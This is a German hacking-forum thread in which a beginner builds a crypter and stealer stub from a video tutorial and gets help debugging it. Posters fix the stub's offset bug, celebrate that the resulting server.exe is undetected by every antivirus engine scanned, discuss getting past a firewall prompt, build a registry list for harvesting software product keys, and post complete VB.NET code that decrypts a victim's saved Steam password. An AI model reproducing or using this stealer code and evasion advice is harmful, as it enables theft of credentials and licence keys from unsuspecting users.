Microsoft Visual Studio 2010 Hilfe beim Crypter

[DK007]

hey @ll

Habe gerade alles so gemacht wie in dem V-TuT von ThePapst, doch bei mir klappt das irgendwie nicht so.
Ich erstelle eine Server.exe, doch wenn ich sie starte, kommt immer eine Fehlermeldung.


See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.IndexOutOfRangeException: Index was outside the bounds of the array.
at Stub.frmMain.frmMain_Load(Object sender, EventArgs e)
at System.EventHandler.Invoke(Object sender, EventArgs e)
at System.Windows.Forms.Form.OnLoad(EventArgs e)
at System.Windows.Forms.Form.OnCreateControl()
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
at System.Windows.Forms.Control.CreateControl()
at System.Windows.Forms.Control.WmShowWindow(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ScrollableControl.WndProc(Mes sage& m)
at System.Windows.Forms.ContainerControl.WndProc(Mess age& m)
at System.Windows.Forms.Form.WmShowWindow(Message& m)
at System.Windows.Forms.Form.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.O nMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.W ndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


************** Loaded Assemblies **************
mscorlib
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 (Beta1.020506-0100)
CodeBase: file:///C:/WINDOWS/Microsoft.NET/Framework/v4.0.20506/mscorlib.dll
----------------------------------------
Stub
Assembly Version: 1.0.0.0
Win32 Version: 1.0.0.0
CodeBase: file:///C:/Dokumente%20und%20Einstellungen/Ahmet/Desktop/Builder%20by%20DK007/Server%20by%20DK007.exe
----------------------------------------
Microsoft.VisualBasic
Assembly Version: 10.0.0.0
Win32 Version: 10.0.20506.1 built by: Beta1
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll
----------------------------------------
System
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 built by: Beta1
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll
----------------------------------------
System.Core
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 built by: Beta1
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll
----------------------------------------
System.Windows.Forms
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 built by: Beta1
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll
----------------------------------------
System.Drawing
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 built by: Beta1
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
----------------------------------------
System.Configuration
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 (Beta1.020506-0100)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll
----------------------------------------
System.Xml
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 built by: Beta1
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll
----------------------------------------
System.Runtime.Remoting
Assembly Version: 4.0.0.0
Win32 Version: 4.0.20506.1 (Beta1.020506-0100)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Runtime.Remoting/v4.0_4.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll
----------------------------------------
Microsoft.VisualBasic.Compatibility
Assembly Version: 10.0.0.0
Win32 Version: 10.0.20506.1
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic.Compatibility/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.Compatibility.dll
----------------------------------------

************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

<configuration>
<system.windows.forms jitDebugging="true" />
</configuration>

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.



Das kommt, wenn ich auf Details klicke. Rechts davon ist noch Continue und Quit.

was muss ich ändern?
braucht ihr den Code vom Builder oder vom Stub?

[Sawyer]

braucht ihr den Code vom Builder oder vom Stub?Wäre nicht schlecht , die Fehlermeldung sagt wennig aus
passiert das eigentlich bei jedem Programm ? oder nur bei diesem speziellen Fall?

MfG

[Kolabi]

Poste mal den Source Code,du hast wohl eine unhandled Exception.

[DK007]

@ThePapst was meinst du mit jedem Programm? Das ist mein erstes Programm/Crypter.
Es passiert nur, wenn ich auf die Server.exe klicke.

@Kolabi, welchen? den vom Stub oder vom Builder?

[Sawyer]

@Kolabi, welchen? den vom Stub oder vom Builder?

Poste einfach mal beide , das kann zum einen an dem builder liegen , der die Daten falsch oder gar nicht an die Datei schreibt , oder an der stub , das kann man schlecht sagen

MfG

[DK007]

Ok hier vom Builder


achja hät noch eine kurze Frage: wie mach ich das so, dass wenn ich mein Passwort schreibe, die buchstaben nicht zu erkennen sind, sondern dass kleine schwarze Punkte sichtbar sind?

Hoffe ihr könnt mir helfen.

[Sawyer]

FileGet(1, Einstellungen.Value, LOF(1) - 99)Wenn du eine Länge von 200 hast , musst du hier -199 setzen
Das ist das einzige was mir jetzt mal aufgefallen ist


achja hät noch eine kurze Frage: wie mach ich das so, dass wenn ich mein Passwort schreibe, die buchstaben nicht zu erkennen sind, sondern dass kleine schwarze Punkte sichtbar sind?Entweder du setzt in die eigenschaft PasswordChar von der Textbox ein Zeichen wie *
oder noch schöner setze die eigenschaft "UseSystemPasswordChar" auf true

MfG

[DK007]

Wo schreibe ich das mit UseSystemPasswordChar hin?
Teste mal ob es funktioniert, wenn ich das auf -199 setze.

[Sawyer]

Wo schreibe ich das mit UseSystemPasswordChar hin?

Markiere einfach die TextBox und setze die Einstellung in den Properties auf True

http://img.xrmb2.net/images/118673.png

MfG

[DK007]

Ok danke.
Achja habs auf -199 gestellt.
Funktioniert jetzt :D
eine letzte frage hät ich noch.
Also wenn ich den server starte, fragt mich immer ZoneAlarm, ob dieser server eine verbindung ins internet aufbauen darf. Kann man das umgehen?

/EDIT

Ist das normal, dass meine server.exe FUD ist?



File name: Server by DK007.exeFile size: 16.7 KbytesSHA1 hash: 21a08b12182f2716487b7a0c7daafa0714a38ef2MD5 hash: 9f9bfa2904d21beaaa69c0f441a7085cDigital signature: Not foundAnalyzed at: 2009-06-13 18:52:28Scan time: 27 secondsDetection ratio: 0 / 18A-Squared: Nothing foundAvira: Nothing foundAvast: Nothing foundAVG: Nothing foundBitDefender: Nothing foundClamav: Nothing foundDrWeb: Nothing foundF-prot: Nothing foundIkarus: Nothing foundKaspersky: Nothing foundMcafee: Nothing foundNOD32: Nothing foundNorton: Nothing foundPanda: Nothing foundSophos: Nothing foundTrendmicro: Nothing foundVBA32: Nothing foundVirusbuster: Nothing found




File Info

Report generated: 13.6.2009 at 18.56.32 (GMT 1)
File size: 16 KB
MD5 Hash: 9F9BFA2904D21BEAAA69C0F441A7085C
SHA1 Hash: 21A08B12182F2716487B7A0C7DAAFA0714A38EF2
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 24

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Scan report generated by
NoVirusThanks.org (http://novirusthanks.org/)

[hackerking]

Das sie fud ist ist normal. nach jedem neu compilen wird sie noch mehr undtecter...
zu zonealaram:

ohne injection: nein

[DK007]

hää wie jetzt?


nach jedem neu compilen wird sie noch mehr undtecter...

also immer wieder wenn ich eine server.exe erstelle? oder wenn ich immer wieder einen neuen crypter programmiere?

Achja wie lautet der Pfad zu FireFox 1-3, IE, Steam, Windows Live Messenger , ICQ und FTP?

danke im voraus

[Sawyer]

Achja wie lautet der Pfad zu FireFox 1-3, IE, Steam, Windows Live Messenger , ICQ und FTP?

Dafür musst du eine Decryption schreiben , man kann diese nicht einfach aus der Registry Lesen

bezüglich FUD: warum soll eine Datei erkannt werden , an dessen ende ein paar Bytezeilen stehen ?

also das es FUD ist ist eigentlich nur logisch

MfG

[CyphaX]

sei doch zufrieden, falls er echt fud ist, und falls die verbindung klappt und alles ;)

[DK007]

Aso ok.
Danke.
Ich will gerne noch ein serial rauskriegen. beispielsweise von Adobe Photoshop CS4.
habs schon in die richtige form geschrieben:
{"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
Wie füge ich das jetzt nach dies jetzt nach: Dim Schlüssel As String() = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"} hinzu?

so funktioniert es irgendwie nicht:
Dim Schlüssel As String() = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"} & {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
so auch nicht
Dim Schlüssel As String() = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"}
Dim Schlüssel As String() = {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}

[hackerking]

Du musst die in ein einzelnes String packen. Dafür sind Arrays da. z. B.:



Dim Schlüssel(2) As String
Schlüssel(0) = {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}

Schlüssel(1) = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"}etc...

Ich persönlich würds aber bissel anders machen (nein nich jeden key einzeln^^)

[DK007]

@hackerking
danke werd ich probieren.
wie würdest du es denn machen?

Edit
habs mal probiert, aber bei mir kommt dann immer Error:

Value of type '1-dimensional array of String' cannot be converted to 'String'.

Hab nur das hingeschrieben
Dim SchlüsselInformationen As String()
Dim Schlüssel(2) As String
Schlüssel(0) = {"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey"}
Schlüssel(1) = {"TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"}

[Sawyer]

Da sieht man einfach mal das Hackerking von Arrays keine ahnung hat :rolleyes:
Wie will man den bitte einem Array (das noch keine feste Größe hat) per index einträge hinzufügen ?
Das würde in diesem Fall nur funktionieren , wenn man das array gleich mit einer festen größe intilitalisiert.

@ DK007
Also du musst es so machen , da du ja eine direkte Zuweisung vornehmen willst^^


Dim Schlüssel As String() = _
{"Photoshop CS4:HKEY_LOCAL_MACHINE\SOFTWARE\Ashampoo\Ashampoo Burning Studio 2009:RegKey" _
, "TuneUp 2009:HKEY_LOCAL_MACHINE\SOFTWARE\TuneUp\Utilities\ 8.0:ProductKey"}Die unterstriche am Ende dienen dafür um es auf die nächste Zeile verteilen zu können , sieht meiner Meinung nach besser aus , vorallem wenn man mehrere keys benutzt , kann sonst ziemlich unübersichtlich werden ;)

Du musst nur darauf achten das du zwischen jedem neuen key ein Komma setzt.

MfG

[DK007]

ok danke ThePapst.
Warst mir eine große hilfe.
Habe auch das hier gelesen.
http://free-hack.com/showthread.php?t=27723&highlight=decryption und wollte fragen ob die jetzt etwas mehr weißt?
könntest du dann eventuell auch ein v-tut dafür machen?
danke im voraus

[krusty]

soweit ich weiß ist in dem code alles richtig, musst dann halt lokal auf deinem rechner decrypten

[Sawyer]

soweit ich weiß ist in dem code alles richtig, musst dann halt lokal auf deinem rechner decrypten

naja da bin ich mir nicht so sicher , gibt ja einen source von igoe , probiert einfach mal den^^


Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO

Module SteamDecrypt

<DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
End Function
Sub Main(ByVal args() As String)
On Error Resume Next
Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
Dim decryptedDataSize As Integer = 0
Dim pwd As New StringBuilder
Dim F As Object
Dim sInhalt As String
Dim Phrase As Double
Dim zwischen As Double = "0"
Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")

Console.Title = "SteamReader>>"
F = FreeFile()
FileOpen(F, Datei, OpenMode.Binary)
sInhalt = InputString(F, LOF(F))
Phrase = InStr(1, sInhalt, "Phrase")
sInhalt = Mid(sInhalt, Phrase + 16)
Dim PWnew As String = (Left(sInhalt, 92))
Dim encpwd As String = (Left(sInhalt, 92))
FileClose(F)
pwd.Length = encpwd.Length / 2
If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then

Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
Console.Write(" Username: ")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 1
If drc.Name = "SourceMods" Then GoTo 1
Console.Write(drc.Name & ", ")
1:
Next
Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
Console.ReadLine()
Else
Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 2
If drc.Name = "SourceMods" Then GoTo 2
Console.Write(drc.Name & ", ")
2:
Next
Console.ReadLine()
End If


End Sub
End Module

MfG

[DK007]

Wo füge ich das ein?
Bei der Stub? Wenn ja wo genau?

[Bozok]

Oh nein, die Frage ist legendär.

Ich kann nur sagen: Entweder lerne die Basics oder wuchtel weiter mit Trojanern und Stealern rum :/